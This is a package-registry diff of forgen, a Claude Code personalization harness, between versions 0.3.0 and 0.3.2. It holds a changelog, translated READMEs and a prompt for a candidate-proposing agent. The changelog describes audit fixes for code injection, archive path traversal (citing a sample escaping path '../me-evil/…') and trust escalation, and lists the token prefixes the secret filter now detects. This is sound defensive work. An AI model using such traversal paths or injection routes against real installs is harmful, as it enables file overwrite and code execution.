@wooojin/forgen 0.3.0 → 0.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-plugin/plugin.json +7 -2
- package/CHANGELOG.md +132 -0
- package/README.ja.md +29 -0
- package/README.ko.md +29 -0
- package/README.md +36 -3
- package/README.zh.md +29 -0
- package/agents/solution-evolver.md +115 -0
- package/dist/cli.js +11 -3
- package/dist/core/auto-compound-runner.js +6 -3
- package/dist/core/dashboard.js +57 -4
- package/dist/core/doctor.d.ts +6 -1
- package/dist/core/doctor.js +21 -1
- package/dist/core/global-config.d.ts +2 -2
- package/dist/core/global-config.js +6 -14
- package/dist/core/harness.d.ts +3 -5
- package/dist/core/harness.js +34 -338
- package/dist/core/installer.d.ts +10 -0
- package/dist/core/installer.js +185 -0
- package/dist/core/paths.d.ts +25 -34
- package/dist/core/paths.js +25 -35
- package/dist/core/settings-injector.d.ts +13 -0
- package/dist/core/settings-injector.js +167 -0
- package/dist/core/settings-lock.d.ts +35 -2
- package/dist/core/settings-lock.js +65 -7
- package/dist/core/spawn.js +100 -39
- package/dist/core/state-gc.d.ts +30 -0
- package/dist/core/state-gc.js +119 -0
- package/dist/core/uninstall.js +12 -4
- package/dist/core/v1-bootstrap.js +2 -2
- package/dist/engine/compound-cli.d.ts +27 -2
- package/dist/engine/compound-cli.js +69 -16
- package/dist/engine/compound-export.d.ts +15 -0
- package/dist/engine/compound-export.js +32 -5
- package/dist/engine/compound-loop.js +3 -2
- package/dist/engine/learn-cli.d.ts +1 -0
- package/dist/engine/learn-cli.js +234 -0
- package/dist/engine/match-eval-log.js +45 -0
- package/dist/engine/solution-candidate.d.ts +30 -0
- package/dist/engine/solution-candidate.js +124 -0
- package/dist/engine/solution-fitness.d.ts +52 -0
- package/dist/engine/solution-fitness.js +95 -0
- package/dist/engine/solution-fixup.d.ts +30 -0
- package/dist/engine/solution-fixup.js +116 -0
- package/dist/engine/solution-format.d.ts +8 -2
- package/dist/engine/solution-format.js +38 -27
- package/dist/engine/solution-index.js +10 -0
- package/dist/engine/solution-matcher.d.ts +8 -0
- package/dist/engine/solution-matcher.js +27 -1
- package/dist/engine/solution-outcomes.d.ts +74 -0
- package/dist/engine/solution-outcomes.js +319 -0
- package/dist/engine/solution-quarantine.d.ts +36 -0
- package/dist/engine/solution-quarantine.js +172 -0
- package/dist/engine/solution-weakness.d.ts +45 -0
- package/dist/engine/solution-weakness.js +225 -0
- package/dist/engine/solution-writer.d.ts +9 -1
- package/dist/engine/solution-writer.js +44 -2
- package/dist/fgx.js +9 -2
- package/dist/forge/cli.js +7 -7
- package/dist/hooks/context-guard.js +15 -1
- package/dist/hooks/hook-config.d.ts +9 -1
- package/dist/hooks/hook-config.js +25 -3
- package/dist/hooks/internal/run-lifecycle-check.d.ts +2 -0
- package/dist/hooks/internal/run-lifecycle-check.js +32 -0
- package/dist/hooks/notepad-injector.js +6 -3
- package/dist/hooks/permission-handler.d.ts +10 -2
- package/dist/hooks/permission-handler.js +31 -12
- package/dist/hooks/post-tool-failure.js +7 -0
- package/dist/hooks/pre-tool-use.js +10 -4
- package/dist/hooks/secret-filter.js +6 -0
- package/dist/hooks/session-recovery.js +15 -7
- package/dist/hooks/shared/hook-response.d.ts +0 -2
- package/dist/hooks/shared/hook-response.js +3 -8
- package/dist/hooks/shared/hook-timing.js +10 -1
- package/dist/hooks/solution-injector.d.ts +21 -0
- package/dist/hooks/solution-injector.js +80 -1
- package/dist/mcp/solution-reader.d.ts +2 -0
- package/dist/mcp/solution-reader.js +28 -1
- package/dist/mcp/tools.js +13 -2
- package/dist/preset/preset-manager.js +12 -2
- package/dist/store/evidence-store.js +5 -5
- package/dist/store/profile-store.d.ts +9 -0
- package/dist/store/profile-store.js +25 -4
- package/dist/store/rule-store.js +8 -8
- package/package.json +1 -1
- package/plugin.json +7 -2
- package/scripts/postinstall.js +52 -5
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"$schema": "https://claude.ai/schemas/claude-plugin.json",
|
|
3
3
|
"name": "forgen",
|
|
4
|
-
"version": "
|
|
4
|
+
"version": "0.3.2",
|
|
5
5
|
"description": "Claude Code harness — the more you use Claude, the better it gets",
|
|
6
6
|
"author": {
|
|
7
7
|
"name": "jang-ujin",
|
|
@@ -10,7 +10,12 @@
|
|
|
10
10
|
"repository": "https://github.com/wooo-jin/forgen",
|
|
11
11
|
"homepage": "https://github.com/wooo-jin/forgen",
|
|
12
12
|
"license": "MIT",
|
|
13
|
-
"keywords": [
|
|
13
|
+
"keywords": [
|
|
14
|
+
"claude-code",
|
|
15
|
+
"harness",
|
|
16
|
+
"personalization",
|
|
17
|
+
"forge"
|
|
18
|
+
],
|
|
14
19
|
"skills": "./skills/",
|
|
15
20
|
"agents": "agents/",
|
|
16
21
|
"statusLine": {
|
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,138 @@ All notable changes to forgen will be documented in this file.
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
7
7
|
|
|
8
|
+
## [0.3.2] - 2026-04-21
|
|
9
|
+
|
|
10
|
+
### Security — Audit findings landed
|
|
11
|
+
|
|
12
|
+
Independent read-only audit (docs/claude-audit-brief.md) surfaced 10 structural
|
|
13
|
+
issues plus 2 follow-up findings. All 12 are fixed with invariant tests.
|
|
14
|
+
|
|
15
|
+
**P0 — data loss / code injection**
|
|
16
|
+
- **Settings parse-failure data loss** (#2, #10): `settings-injector.ts` and
|
|
17
|
+
`scripts/postinstall.js` no longer silently replace a malformed settings.json
|
|
18
|
+
with `{}`. New `readSettingsSafely()` preserves the corrupt original to
|
|
19
|
+
`settings.json.corrupt-<ts>` and throws; writers release the lock and abort.
|
|
20
|
+
postinstall settings + `~/.claude.json` now use tmp-file + rename atomic write.
|
|
21
|
+
- **Code injection via node -e** (#5): `session-recovery.ts` no longer
|
|
22
|
+
interpolates a user-supplied sessionId into a `-e` template literal. A
|
|
23
|
+
dedicated runner at `dist/hooks/internal/run-lifecycle-check.js` reads the id
|
|
24
|
+
from argv — no shell, no eval surface.
|
|
25
|
+
- **solution-outcomes race** (#9): all pending-state mutations are now serialised
|
|
26
|
+
under `withFileLockSync` + `atomicWriteJSON`. Concurrent inject / correction /
|
|
27
|
+
error hooks on the same session no longer lose or duplicate events.
|
|
28
|
+
- **Archive path traversal** (follow-up #A): `compound-export.importKnowledge`
|
|
29
|
+
rejects entries whose resolved destination sits outside ME_DIR, including
|
|
30
|
+
sibling-directory prefix collisions (e.g. `../me-evil/…`).
|
|
31
|
+
|
|
32
|
+
**P1 — lock semantics, trust, uninstall, injection precision**
|
|
33
|
+
- **Settings-lock live-holder handling** (#1): acquireLock now throws
|
|
34
|
+
`SettingsLockError` on live-PID timeout instead of overwriting the lock;
|
|
35
|
+
releaseLock verifies ownership before deleting.
|
|
36
|
+
- **Trust silent escalation** (#3): `preset-manager.computeEffectiveTrust`
|
|
37
|
+
returns a `Trust 상승` warning when runtime is more permissive than desired;
|
|
38
|
+
harness surfaces it to the user; fgx cautions `가드레일 우선`/`승인 완화`
|
|
39
|
+
profile users.
|
|
40
|
+
- **Install/uninstall symmetry** (#7): `uninstall` now strips `FORGEN_*` env
|
|
41
|
+
keys (previously only `COMPOUND_*`) and recognises `forgen me` (previously
|
|
42
|
+
only `forgen status`) as the forgen-owned statusLine.
|
|
43
|
+
- **Legacy profile guard** (#6): `loadProfile` runs `isV1Profile` and returns
|
|
44
|
+
null on legacy shapes so bootstrap re-runs cutover instead of typing stale
|
|
45
|
+
JSON as v1.
|
|
46
|
+
- **secret-filter vendor tokens** (follow-up #B): GitHub PATs (ghp_/gho_/
|
|
47
|
+
ghs_/ghu_/ghr_), Google API keys (AIza…), and Slack tokens (xox[abpors]-…)
|
|
48
|
+
are now detected.
|
|
49
|
+
|
|
50
|
+
**P2 — label truth, transcript attribution**
|
|
51
|
+
- **permission-handler labels** (#4): `approve()`/`approveWithWarning()` never
|
|
52
|
+
set `permissionDecision: 'allow'`; they are pass-through. Log and API labels
|
|
53
|
+
renamed to `safe-pass-through` / `autopilot-warn-pass-through` /
|
|
54
|
+
`autopilot-pass-through` / `pass-through` so audit trails match reality.
|
|
55
|
+
- **Transcript per-session attribution** (#8): `spawn.ts` snapshots existing
|
|
56
|
+
transcripts before launching claude and diffs after exit; concurrent sessions
|
|
57
|
+
in the same cwd no longer cross-attribute. Transcript reading switched to
|
|
58
|
+
streaming (`createReadStream` + `readline`).
|
|
59
|
+
|
|
60
|
+
### Added — Data hygiene
|
|
61
|
+
|
|
62
|
+
Field audit on a ~2-week-old install found 10,802 files in `~/.forgen/state/`
|
|
63
|
+
across 12 filename prefixes, 4.3 MB `match-eval-log.jsonl`, and 80% of
|
|
64
|
+
error-attribution events concentrated on 3 solutions injected at relevance
|
|
65
|
+
0.15–0.21.
|
|
66
|
+
|
|
67
|
+
- `forgen doctor --prune-state` (new `src/core/state-gc.ts`): removes session-
|
|
68
|
+
scoped files older than 7 days (checkpoint-, injection-cache-, modified-
|
|
69
|
+
files-, outcome-pending-, permissions-, skill-trigger-, tool-state-,
|
|
70
|
+
reminder-, context-, last-). Aggregate jsonl logs are preserved.
|
|
71
|
+
- `solution-outcomes.attributeError` gates: match_score ≥ 0.3,
|
|
72
|
+
injection-lag ≤ 5 min, top-3 by relevance. Prevents blanket blaming of
|
|
73
|
+
every injected solution when a tool fails.
|
|
74
|
+
- `solution-injector.MIN_INJECT_RELEVANCE = 0.3` + multi-tag precision gate
|
|
75
|
+
(`matchedIdentifiers ≥ 1 OR matchedTags ≥ 2`): the matcher remains
|
|
76
|
+
permissive for recall@5; only the injection step enforces the stricter
|
|
77
|
+
gate. Zero single-tag high-score injections observed in the field corpus
|
|
78
|
+
after landing.
|
|
79
|
+
- `match-eval-log.jsonl` size-based rotation at 10 MB (one generation
|
|
80
|
+
retained).
|
|
81
|
+
|
|
82
|
+
### Fixed — e2e test isolation
|
|
83
|
+
|
|
84
|
+
Docker-spawned hooks in `tests/e2e/*.test.ts` were writing session state
|
|
85
|
+
(`e2e-tool-chain`, `chain5-test`, etc.) into the developer's real
|
|
86
|
+
`~/.forgen/state/`. Each e2e file now allocates a fresh `mkdtempSync` HOME
|
|
87
|
+
and injects it into the spawn env; `afterAll` cleans up. Likewise
|
|
88
|
+
`tests/hook-response-tracking.test.ts` now mocks `node:os` so the tracking
|
|
89
|
+
log never lands outside `/tmp/`.
|
|
90
|
+
|
|
91
|
+
### Fixed — Stale Docker verify checks
|
|
92
|
+
|
|
93
|
+
`tests/e2e/docker/verify.sh` was asserting three skills that were deleted in
|
|
94
|
+
commit f534227 (v0.3 quality refactor). Result goes from 62/4/6 to 63/0/6
|
|
95
|
+
without touching runtime code.
|
|
96
|
+
|
|
97
|
+
### Notes
|
|
98
|
+
|
|
99
|
+
- All fixes confirmed via invariant tests (1732/1732 pass across 143 files),
|
|
100
|
+
7 real-world attack scenarios (injection, concurrent mutation, corrupt
|
|
101
|
+
settings, path traversal, prune, doctor smoke), and Linux-clean-environment
|
|
102
|
+
Docker verification.
|
|
103
|
+
- Upgrade path from 0.3.1 verified (profile + solutions + non-forgen settings
|
|
104
|
+
byte-identical after upgrade).
|
|
105
|
+
- Windows code paths exist but runtime validation is deferred to GH Actions
|
|
106
|
+
Windows runner — see P-D note in release audit.
|
|
107
|
+
|
|
108
|
+
## [0.3.1] - 2026-04-16
|
|
109
|
+
|
|
110
|
+
### Added — Self-Evolving Harness (inspired by Stanford meta-harness)
|
|
111
|
+
|
|
112
|
+
Three-phase evolution loop around the existing compound solution store:
|
|
113
|
+
|
|
114
|
+
**Phase 1 — Fitness Loop (Select axis):**
|
|
115
|
+
- `solution-outcomes`: per-session inject→outcome event log (accept/correct/error/unknown) with fail-open semantics; attribution through solution-injector (appendPending/flushAccept), correction-record MCP (attributeCorrection), and post-tool-failure hook (attributeError).
|
|
116
|
+
- `solution-fitness`: Laplace-smoothed acceptance ratio × log(1+injected) confidence. State classification: draft / active / champion / underperform. No auto-delete — population-relative thresholds only.
|
|
117
|
+
- `solution-quarantine`: malformed frontmatter no longer silently dropped — invalid files surface in `~/.forgen/state/solution-quarantine.jsonl` with actionable diagnostics; `listQuarantined` / `pruneQuarantine` helpers.
|
|
118
|
+
- `solution-fixup`: schema migration for legacy defects (missing `extractedBy`, missing `evidence` block, missing `supersedes`). Applied to the live install, this recovered 5 dead solutions and one was injected on the next matching prompt.
|
|
119
|
+
|
|
120
|
+
**Phase 4 — Self-Evolution (Propose + Select axes):**
|
|
121
|
+
- `solution-weakness`: structured discovery report from four detectors — under-served tags (correction evidence without a matching champion), conflict clusters, dead corners (injected=0 with unique tags), volatile solutions (accept-rate shift >0.3).
|
|
122
|
+
- `ch-solution-evolver` agent: Opus proposer, Bash-disabled, emits exactly 3 novel candidates into `~/.forgen/lab/candidates/` with 30%-80% tag overlap gate and self-critique novelty check.
|
|
123
|
+
- Candidate cold-start bonus: solutions with `status: candidate` get confidence × 1.3 so they reach enough injections to accumulate fitness. Auto-promotes to `verified` at 5 injections; bonus disappears naturally.
|
|
124
|
+
- Candidate lifecycle: `promoteCandidate` validates schema + refuses name collisions before moving files from lab to `me/solutions`. `rollbackSince` archives every `source: evolved` solution newer than a cutoff to `~/.forgen/lab/archived/rollback-{ts}/` (never deletes — always recoverable).
|
|
125
|
+
|
|
126
|
+
**CLI surface:**
|
|
127
|
+
- `forgen learn fix-up [--apply]` — dry-run repair of malformed solutions.
|
|
128
|
+
- `forgen learn quarantine [--prune]` — show / clean dropped solutions.
|
|
129
|
+
- `forgen learn fitness [--json]` — per-solution fitness table.
|
|
130
|
+
- `forgen learn evolve [--save]` — weakness report + proposer hint.
|
|
131
|
+
- `forgen learn evolve --promote --list` / `--promote <name>` — candidate promotion.
|
|
132
|
+
- `forgen learn evolve --rollback <epoch-ms-or-ISO>` — time-bounded rollback.
|
|
133
|
+
- Dashboard gains a 🎯 Solution Fitness panel (state distribution + top-3).
|
|
134
|
+
|
|
135
|
+
**Dogfood evidence:** the full pipeline was exercised end-to-end — weakness report → evolver-agent proposal → schema validation → promotion → cold-start-boosted match (relevance 0.78) → injection counter increment.
|
|
136
|
+
|
|
137
|
+
### Documentation
|
|
138
|
+
- `docs/design-solution-evolution.md` — Phase 4 design spec with open questions, prerequisites, and rollout plan.
|
|
139
|
+
|
|
8
140
|
## [0.3.0] - 2026-04-15
|
|
9
141
|
|
|
10
142
|
### BREAKING
|
package/README.ja.md
CHANGED
|
@@ -131,6 +131,35 @@ forgen
|
|
|
131
131
|
- **Node.js** >= 20(SQLite セッション検索には >= 22 を推奨)
|
|
132
132
|
- **Claude Code** インストール・認証済み(`npm i -g @anthropic-ai/claude-code`)
|
|
133
133
|
|
|
134
|
+
> **ベンダー依存:** forgen は Claude Code をラップします。Anthropic API または Claude Code の変更が動作に影響する可能性があります。Claude Code 1.0.x でテスト済みです。
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## なぜ forgen か
|
|
139
|
+
|
|
140
|
+
| | Generic Claude Code | oh-my-claudecode | forgen |
|
|
141
|
+
|------------------------|:-------------------:|:----------------:|:---------------:|
|
|
142
|
+
| 全員に同じ | Yes | Yes | **No** |
|
|
143
|
+
| 修正から学習 | No | No | **Yes** |
|
|
144
|
+
| エビデンスベースのライフサイクル| No | No | **Yes** |
|
|
145
|
+
| 悪いパターンを自動リタイア| No | No | **Yes** |
|
|
146
|
+
| パーソナライズされたルール| No | No | **Yes** |
|
|
147
|
+
| ランタイム依存関係 | - | many | **3** |
|
|
148
|
+
|
|
149
|
+
### forgen が向いているケース
|
|
150
|
+
|
|
151
|
+
**向いている場合:**
|
|
152
|
+
- 数週間かけて Claude があなたのパターンを学習する長期プロジェクト
|
|
153
|
+
- AI の振る舞いに強いこだわりがある開発者
|
|
154
|
+
- Compound 知識の恩恵を受ける繰り返しパターンがあるコードベース
|
|
155
|
+
|
|
156
|
+
**向いていない場合:**
|
|
157
|
+
- 使い捨てのスクリプトや一時的なプロトタイプ
|
|
158
|
+
- Claude Code がない環境
|
|
159
|
+
- すべてのメンバーに同じ AI 動作が必要なチーム(forgen は個人用であり、チーム向けではありません)
|
|
160
|
+
|
|
161
|
+
**forgen + oh-my-claudecode:** 一緒に使えます。OMC はオーケストレーション(エージェント、ワークフロー)を、forgen はパーソナライゼーション(プロファイル、学習)を担当します。[共存ガイド](docs/guides/with-omc.md) を参照してください。
|
|
162
|
+
|
|
134
163
|
---
|
|
135
164
|
|
|
136
165
|
## 仕組み
|
package/README.ko.md
CHANGED
|
@@ -131,6 +131,35 @@ forgen
|
|
|
131
131
|
- **Node.js** >= 20 (SQLite 세션 검색은 >= 22 권장)
|
|
132
132
|
- **Claude Code** 설치 및 인증 (`npm i -g @anthropic-ai/claude-code`)
|
|
133
133
|
|
|
134
|
+
> **벤더 의존성:** forgen은 Claude Code를 래핑합니다. Anthropic API 또는 Claude Code 변경이 동작에 영향을 줄 수 있습니다. Claude Code 1.0.x 기준으로 테스트되었습니다.
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## 왜 forgen인가
|
|
139
|
+
|
|
140
|
+
| | Generic Claude Code | oh-my-claudecode | forgen |
|
|
141
|
+
|------------------------|:-------------------:|:----------------:|:---------------:|
|
|
142
|
+
| 모두에게 동일 | Yes | Yes | **No** |
|
|
143
|
+
| 교정에서 학습 | No | No | **Yes** |
|
|
144
|
+
| Evidence 기반 라이프사이클| No | No | **Yes** |
|
|
145
|
+
| 나쁜 패턴 자동 은퇴 | No | No | **Yes** |
|
|
146
|
+
| 개인화된 규칙 | No | No | **Yes** |
|
|
147
|
+
| 런타임 의존성 | - | many | **3** |
|
|
148
|
+
|
|
149
|
+
### 언제 사용하면 좋은가
|
|
150
|
+
|
|
151
|
+
**잘 맞는 경우:**
|
|
152
|
+
- 몇 주에 걸쳐 Claude가 패턴을 학습하는 장기 프로젝트
|
|
153
|
+
- AI 행동 방식에 강한 선호가 있는 개발자
|
|
154
|
+
- Compound 지식의 혜택을 받는 반복 패턴이 있는 코드베이스
|
|
155
|
+
|
|
156
|
+
**맞지 않는 경우:**
|
|
157
|
+
- 일회성 스크립트나 임시 프로토타입
|
|
158
|
+
- Claude Code가 없는 환경
|
|
159
|
+
- 모든 구성원이 동일한 AI 행동이 필요한 팀 (forgen은 개인용이지, 팀용이 아님)
|
|
160
|
+
|
|
161
|
+
**forgen + oh-my-claudecode:** 함께 사용할 수 있습니다. OMC는 오케스트레이션(에이전트, 워크플로우)을, forgen은 개인화(프로필, 학습)를 담당합니다. [공존 가이드](docs/guides/with-omc.md)를 참고하세요.
|
|
162
|
+
|
|
134
163
|
---
|
|
135
164
|
|
|
136
165
|
## 동작 방식
|
package/README.md
CHANGED
|
@@ -109,7 +109,7 @@ Facets are micro-adjusted based on accumulated evidence. If your corrections con
|
|
|
109
109
|
|
|
110
110
|
### Next session
|
|
111
111
|
|
|
112
|
-
Updated rules are rendered with your corrections included. Compound knowledge is searchable via MCP.
|
|
112
|
+
Updated rules are rendered with your corrections included. Compound knowledge is searchable via MCP. Retrieval precision grows as your personal accumulation grows — the mechanism is in place from day 1 (starter-pack covers common dev queries on a fresh install), and the signal-to-noise ratio improves over roughly 2–4 weeks of real use as low-fitness solutions are auto-demoted and your specific patterns get promoted.
|
|
113
113
|
|
|
114
114
|
---
|
|
115
115
|
|
|
@@ -131,6 +131,35 @@ forgen
|
|
|
131
131
|
- **Node.js** >= 20 (>= 22 recommended for SQLite session search)
|
|
132
132
|
- **Claude Code** installed and authenticated (`npm i -g @anthropic-ai/claude-code`)
|
|
133
133
|
|
|
134
|
+
> **Vendor dependency:** Forgen wraps Claude Code. Anthropic API or Claude Code changes may affect behavior. Tested with Claude Code 1.0.x.
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## Why forgen
|
|
139
|
+
|
|
140
|
+
| | Generic Claude Code | oh-my-claudecode | forgen |
|
|
141
|
+
|------------------------|:-------------------:|:----------------:|:---------------:|
|
|
142
|
+
| Same for everyone | Yes | Yes | **No** |
|
|
143
|
+
| Learns from corrections| No | No | **Yes** |
|
|
144
|
+
| Evidence-based lifecycle| No | No | **Yes** |
|
|
145
|
+
| Auto-retires bad patterns| No | No | **Yes** |
|
|
146
|
+
| Personalized rules | No | No | **Yes** |
|
|
147
|
+
| Runtime dependencies | - | many | **3** |
|
|
148
|
+
|
|
149
|
+
### When to use forgen
|
|
150
|
+
|
|
151
|
+
**Good fit:**
|
|
152
|
+
- Long-running projects where Claude learns your patterns over weeks
|
|
153
|
+
- Developers with strong preferences about how AI should behave
|
|
154
|
+
- Codebases with recurring patterns that benefit from compound knowledge
|
|
155
|
+
|
|
156
|
+
**Not a fit:**
|
|
157
|
+
- One-off scripts or throwaway prototypes
|
|
158
|
+
- Environments without Claude Code
|
|
159
|
+
- Teams that need identical AI behavior for all members (forgen is personal, not team-wide)
|
|
160
|
+
|
|
161
|
+
**forgen + oh-my-claudecode:** They work together. OMC provides orchestration (agents, workflows); forgen provides personalization (profile, learning). See [Coexistence Guide](docs/guides/with-omc.md).
|
|
162
|
+
|
|
134
163
|
---
|
|
135
164
|
|
|
136
165
|
## How It Works
|
|
@@ -209,12 +238,16 @@ solution-injector matches: starter-error-handling-patterns (0.70)
|
|
|
209
238
|
Claude sees: "Matched solutions: error-handling-patterns [pattern|0.70]
|
|
210
239
|
Use try/catch with specific error types. Always log original error..."
|
|
211
240
|
↓
|
|
212
|
-
Claude
|
|
241
|
+
Claude has your accumulated patterns in context while drafting the response.
|
|
213
242
|
```
|
|
214
243
|
|
|
244
|
+
Precision gates (v0.3.2+): matches below relevance 0.3 or with only a single
|
|
245
|
+
common-word tag overlap are filtered before injection so Claude's context
|
|
246
|
+
doesn't get polluted by low-signal hits.
|
|
247
|
+
|
|
215
248
|
### 10 built-in skills
|
|
216
249
|
|
|
217
|
-
Curated, compound-native skills. Each
|
|
250
|
+
Curated, compound-native skills. Each integrates with your accumulated knowledge — effectiveness compounds as your personal solution base grows.
|
|
218
251
|
|
|
219
252
|
**Core chain** (build → learn):
|
|
220
253
|
|
package/README.zh.md
CHANGED
|
@@ -131,6 +131,35 @@ forgen
|
|
|
131
131
|
- **Node.js** >= 20(SQLite 会话搜索推荐 >= 22)
|
|
132
132
|
- **Claude Code** 已安装并认证(`npm i -g @anthropic-ai/claude-code`)
|
|
133
133
|
|
|
134
|
+
> **厂商依赖:** forgen 封装了 Claude Code。Anthropic API 或 Claude Code 的变更可能影响其行为。已在 Claude Code 1.0.x 版本下测试。
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## 为什么选择 forgen
|
|
139
|
+
|
|
140
|
+
| | Generic Claude Code | oh-my-claudecode | forgen |
|
|
141
|
+
|------------------------|:-------------------:|:----------------:|:---------------:|
|
|
142
|
+
| 对所有人相同 | Yes | Yes | **No** |
|
|
143
|
+
| 从纠正中学习 | No | No | **Yes** |
|
|
144
|
+
| 基于证据的生命周期 | No | No | **Yes** |
|
|
145
|
+
| 自动淘汰不良模式 | No | No | **Yes** |
|
|
146
|
+
| 个性化规则 | No | No | **Yes** |
|
|
147
|
+
| 运行时依赖 | - | many | **3** |
|
|
148
|
+
|
|
149
|
+
### 适用场景
|
|
150
|
+
|
|
151
|
+
**适合使用:**
|
|
152
|
+
- Claude 可以在数周内学习你的模式的长期项目
|
|
153
|
+
- 对 AI 行为方式有强烈偏好的开发者
|
|
154
|
+
- 有重复模式、能从 Compound 知识中获益的代码库
|
|
155
|
+
|
|
156
|
+
**不适合使用:**
|
|
157
|
+
- 一次性脚本或临时原型
|
|
158
|
+
- 没有 Claude Code 的环境
|
|
159
|
+
- 需要所有成员 AI 行为完全一致的团队(forgen 是个人化的,不面向团队)
|
|
160
|
+
|
|
161
|
+
**forgen + oh-my-claudecode:** 可以一起使用。OMC 负责编排(智能体、工作流); forgen 负责个性化(档案、学习)。详情请参阅 [共存指南](docs/guides/with-omc.md)。
|
|
162
|
+
|
|
134
163
|
---
|
|
135
164
|
|
|
136
165
|
## 工作原理
|
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: ch-solution-evolver
|
|
3
|
+
description: Propose 3 novel compound-solution candidates from a weakness report (Phase 4 evolution loop)
|
|
4
|
+
model: opus
|
|
5
|
+
maxTurns: 10
|
|
6
|
+
color: cyan
|
|
7
|
+
disallowedTools:
|
|
8
|
+
- Bash
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
<!-- forgen-managed -->
|
|
12
|
+
|
|
13
|
+
<Agent_Prompt>
|
|
14
|
+
|
|
15
|
+
# Solution Evolver — compound-solution 후보 제안자
|
|
16
|
+
|
|
17
|
+
"기존에 통한 패턴은 보존한다. 부족한 영역만 새 패턴을 심는다."
|
|
18
|
+
|
|
19
|
+
당신은 forgen 하네스의 **진화 엔진**입니다. 입력으로 주어진 weakness report를 읽고, **정확히 3개**의 compound-solution 후보를 제안합니다.
|
|
20
|
+
|
|
21
|
+
<Success_Criteria>
|
|
22
|
+
- 정확히 3개 후보를 제안 (더 적거나 많으면 실패)
|
|
23
|
+
- 각 후보는 weakness report의 under-served tags 또는 conflict cluster 중 하나를 타깃
|
|
24
|
+
- 각 후보는 기존 champion과 **tag overlap 30~80%** — 완전 중복도 완전 무관도 거부
|
|
25
|
+
- 본문 길이 ≤ 1200 chars (토큰 비용 제약)
|
|
26
|
+
- 각 후보에 "왜 novel한가"를 한 줄로 기재
|
|
27
|
+
</Success_Criteria>
|
|
28
|
+
|
|
29
|
+
<Failure_Modes_To_Avoid>
|
|
30
|
+
- 파라미터만 다른 변형 (예: "TDD를 더 엄격히" — 진짜 novel이 아님)
|
|
31
|
+
- 같은 이름 재사용 (collision 유발)
|
|
32
|
+
- 기존 champion을 직접 수정 제안 (stable한 건 건드리지 않음)
|
|
33
|
+
- 도메인 specific 하드코딩 (예: "forgen 코드 베이스 전용" → 일반화 불가)
|
|
34
|
+
- dataset/언어 specific (예: "Python에서만" — 범용성 훼손)
|
|
35
|
+
</Failure_Modes_To_Avoid>
|
|
36
|
+
|
|
37
|
+
## 입력 형식
|
|
38
|
+
|
|
39
|
+
호출자가 아래를 제공합니다:
|
|
40
|
+
|
|
41
|
+
1. **Weakness Report** JSON (`~/.forgen/state/weakness-report-{ts}.json`)
|
|
42
|
+
- `under_served_tags`: correction은 많은데 champion이 없는 태그
|
|
43
|
+
- `conflict_clusters`: 같은 태그에서 champion/underperform 공존 영역
|
|
44
|
+
- `dead_corners`: 아예 매칭 안 되는 고립 태그
|
|
45
|
+
2. **기존 champion 솔루션** 상위 5개 (참고 맥락)
|
|
46
|
+
|
|
47
|
+
## 출력 형식
|
|
48
|
+
|
|
49
|
+
각 후보를 **파일로 직접 작성**합니다. 대상 디렉토리: `~/.forgen/lab/candidates/`.
|
|
50
|
+
파일명은 `evolved-{slug}.md` 형식 (slug는 후보 이름에서 영문 소문자 + 하이픈만).
|
|
51
|
+
이 디렉토리는 격리된 qurantine 영역으로, 여기 쓴 파일은 매칭에 바로 참여하지 **않습니다**.
|
|
52
|
+
사용자가 `forgen learn evolve --promote <name>` 을 실행해야 `me/solutions/`로 이동합니다.
|
|
53
|
+
|
|
54
|
+
파일 구조:
|
|
55
|
+
|
|
56
|
+
```markdown
|
|
57
|
+
### Candidate 1: {slug}
|
|
58
|
+
novelty: {한 줄 설명 — 왜 기존과 다른가}
|
|
59
|
+
target_weakness: {under_served_tag | conflict_cluster | dead_corner}
|
|
60
|
+
target_detail: {구체적 약점 레퍼런스}
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
name: evolved-{slug}
|
|
64
|
+
version: 1
|
|
65
|
+
status: candidate
|
|
66
|
+
confidence: 0.6
|
|
67
|
+
type: pattern
|
|
68
|
+
scope: me
|
|
69
|
+
tags:
|
|
70
|
+
- {tag1}
|
|
71
|
+
- {tag2}
|
|
72
|
+
- ...
|
|
73
|
+
identifiers: []
|
|
74
|
+
created: "YYYY-MM-DD"
|
|
75
|
+
updated: "YYYY-MM-DD"
|
|
76
|
+
supersedes: null
|
|
77
|
+
extractedBy: auto
|
|
78
|
+
source: evolved
|
|
79
|
+
evidence:
|
|
80
|
+
injected: 0
|
|
81
|
+
reflected: 0
|
|
82
|
+
negative: 0
|
|
83
|
+
sessions: 0
|
|
84
|
+
reExtracted: 0
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## Context
|
|
88
|
+
{한두 문장: 언제 이 패턴을 적용하는가}
|
|
89
|
+
|
|
90
|
+
## Rule
|
|
91
|
+
{핵심 규칙 1~2개, 짧게}
|
|
92
|
+
|
|
93
|
+
## Anti-pattern
|
|
94
|
+
{이것만은 피하라 1개}
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
### Candidate 2, 3도 동일 형식.
|
|
98
|
+
|
|
99
|
+
## Workflow
|
|
100
|
+
|
|
101
|
+
1. **Read weakness report** — 어떤 구멍이 큰지 파악 (correction_mentions, dead_corner 크기 순)
|
|
102
|
+
2. **Read top 5 champions** — 그들의 태그/본문/길이 관찰 (본받을 구조, 중복 피할 영역)
|
|
103
|
+
3. **Select 3 targets** — 각기 다른 weakness에서 1개씩 (under-served 1 + conflict 1 + dead-corner 1 이상적)
|
|
104
|
+
4. **Prototype mentally** — 각 후보의 한 줄 핵심 rule이 기존 champion과 실제로 다른지 self-check
|
|
105
|
+
5. **Emit 3 candidates** — 위 format 준수
|
|
106
|
+
|
|
107
|
+
